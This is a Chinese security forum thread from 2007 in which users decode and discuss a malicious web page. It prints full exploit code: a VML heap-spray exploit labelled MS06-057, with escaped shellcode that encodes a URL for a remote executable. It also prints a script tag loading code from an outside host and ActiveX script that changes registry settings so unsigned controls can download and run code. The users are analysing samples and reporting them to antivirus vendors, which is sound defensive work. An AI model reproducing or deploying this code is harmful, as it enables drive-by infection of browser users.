document.write(unescape("%44%59%3e%0a%3c%2f%48%54%4d%4c%3e%0a"));
}
</SCRIPT>

第二层
<HTML xmlns:v="urn:schemas-microsoft-com
:vml"
xmlns:o="urn:schemas-microsoft-com
:office:office">
<HEAD>
<STYLE>
v\:* {
behavior: url(#default#VML);}
o\:* { be
havior: url(#default#VML);}
</STYLE>
<TI
TLE></TITLE>
</HEAD>
<BODY onload=window
.status="">
<script>
sh = unescape("%u90
90%u9090%u9090%u54eb%u758b%u8b3c%u3574%u
0378%u56f5%u768b%u0320%u33f5%u49c9%uad41
%udb33%u0f36%u14be%u3828%u74f2%uc108%u0d
cb%uda03%ueb40%u3bef%u75df%u5ee7%u5e8b%u
0324%u66dd%u0c8b%u8b4b%u1c5e%udd03%u048b
%u038b%uc3c5%u7275%u6d6c%u6e6f%u642e%u6c
6c%u4300%u5c3a%u2e55%u7865%u0065%uc033%u
0364%u3040%u0c78%u408b%u8b0c%u1c70%u8bad
%u0840%u09eb%u408b%u8d34%u7c40%u408b%u95
3c%u8ebf%u0e4e%ue8ec%uff84%uffff%uec83%u
8304%u242c%uff3c%u95d0%ubf50%u1a36%u702f
%u6fe8%uffff%u8bff%u2454%u8dfc%uba52%udb
33%u5353%ueb52%u5324%ud0ff%ubf5d%ufe98%u
0e8a%u53e8%uffff%u83ff%u04ec%u2c83%u6224
%ud0ff%u7ebf%ue2d8%ue873%uff40%uffff%uff
52%ue8d0%uffd7%uffff
%u7468%u7074%u2f3a%u732f%u7969%u6175%u682e%u736f%u3174%u382e%u616d%u2e6b%u6f63%u2f6d%u6973%u7579%u652e%u6578
");
sz = sh.l
ength * 2;
npsz = 0x400000-(sz+0x38);
np
s = unescape ("%u0d0d%u0d0d");
while (np
s.length*2<npsz) nps+=nps;
ihbc = (0x060
00000-0x400000)/0x400000;
mm = new Array
();
for (i=0;i<ihbc;i++) mm = nps+sh;
</script>
<v:shapetype id="_x0000_t75"
coordsize="15000,19900" o:spt="75"
o:
preferrelative="t" path="[email=m@4@5l@4@11@9@1]m@4@5l@4@11@9@1[/email]
[email=1@9@5xe]1@9@5xe[/email]" filled="f" stroked="f">
<v:s
troke joinstyle="miter"/>
<v:formulas
>
<v:f eqn="if lineDrawn pixelLineWi
dth 0"/>
<v:f eqn="sum @0 1 0"/>

<v:f eqn="sum 0 0 @1"/>
<v:f eqn="p
rod @2 1 2"/>
<v:f eqn="prod @3 1500
0 pixelWidth"/>
<v:f eqn="prod @3 19
900 pixelHeight"/>
<v:f eqn="sum @0
0 1"/>
<v:f eqn="prod @6 1 2"/>

<v:f eqn="prod @7 15000 pixelWidth"/>

  <v:f eqn="sum @8 15000 0"/>
<v:f e
qn="prod @7 19900 pixelHeight"/>
<v:
f eqn="sum @10 19900 0"/>
</v:formula
s>
<v:path o:extrusionok="f" gradient
shapeok="t" o:c/>
<o
:lock v:ext="edit" aspectratio="t"/>
  <
/v:shapetype>
<v:shape id="test" type="#
_x0000_t75" style="position:absolute; le
ft:0;top:0;width:117pt;height:120pt">

<v:imagedata src="./test.jpg" o:title="g
y" grayscale="t" />
  <v:shadow on="t"
/>
<v:recolorinfo recolorstate="t" numc
olors="1" numfills="1073741824">
<v:r
ecolorinfoentry tocolor="11111111" fromc
olor="11111111" />
  <v:recolorinfoentr
y tocolor="schemeFollowed" fromcolor="11
150032" />
  <v:recolorinfoentry tocolo
r="rgb(67,63,56)" recolortype="1" lbcolo
r="rgb(45,222,221)" forecolor="11111111"
backcolor="11111111" bitmaptype="3" />


  </v:recolorinfo>
</v:shape>
</BO
DY>
</HTML>

是ms-06057

[ 本帖最后由 jimmyleo 于 2007-8-14 13:55 编辑 ]

显示全部楼层 · 发表于 2007-8-14 13:56:11

第一层刚才终于解出来了
样本已发出。。。。。。
恶心的网页

都是cs.js

[ 本帖最后由 promised 于 2007-8-14 13:57 编辑 ]

显示全部楼层 · 发表于 2007-8-14 14:01:20

红伞发现5个,真毒一个已经删除

显示全部楼层 · 发表于 2007-8-14 14:02:48

1.html

<script src=http://cs.cskick.cn/cs/c.js></script><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<CNTER><HTML><HEAD>
<META http-equiv=Content-Type c>
<META c name=GENERATOR></HEAD>
<BODY>
<SCRIPT>
Windows="ms"
document.write("<APPLET HEIGHT=0 WIDTH=0 code=fan.Windows.activeX.ActiveXComponent></APPLET>");
function f(){
try
{
//ActiveX initialization
sofzl=document.applets[0];
sofzl.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
sofzl.createInstance();
vip = sofzl.GetObject();
sofzl.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
sofzl.createInstance();
FSO = sofzl.GetObject();
sofzl.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");
sofzl.createInstance();
Net = sofzl.GetObject();
try
{
if (documents.cookie.indexOf("Chg") == -1)
{
vip.RegWrite ("HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\1004",0,"REG_DWORD");
var expdate = new Date((new Date()).getTime() + (1));
documents.cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"
}
}
catch(sofzlcn)
{}
}
catch(sofzlcn)
{}
}
function init()
{
setTimeout("f()", 1000);
}
init();
fan="com"
</SCRIPT>
<script language="javascript">

</script>
</BODY></HTML>

红色部分使得无签名activex可任意下载执行

[ 本帖最后由 jimmyleo 于 2007-8-14 14:05 编辑 ]

显示全部楼层 · 发表于 2007-8-14 14:09:14

提示: 该帖被管理员或版主屏蔽

显示全部楼层 · 发表于 2007-8-14 14:14:44

111.html
1111.html
11111.html
都是死鱼

[ 本帖最后由 jimmyleo 于 2007-8-14 14:16 编辑 ]

jimmyleo 头像被屏蔽	发表于 2007-8-14 14:09:14 \| 显示全部楼层提示: 该帖被管理员或版主屏蔽
jimmyleo 头像被屏蔽
	回复举报

召唤解密高手

本帖子中包含更多资源

回复 #5 jimmyleo 的帖子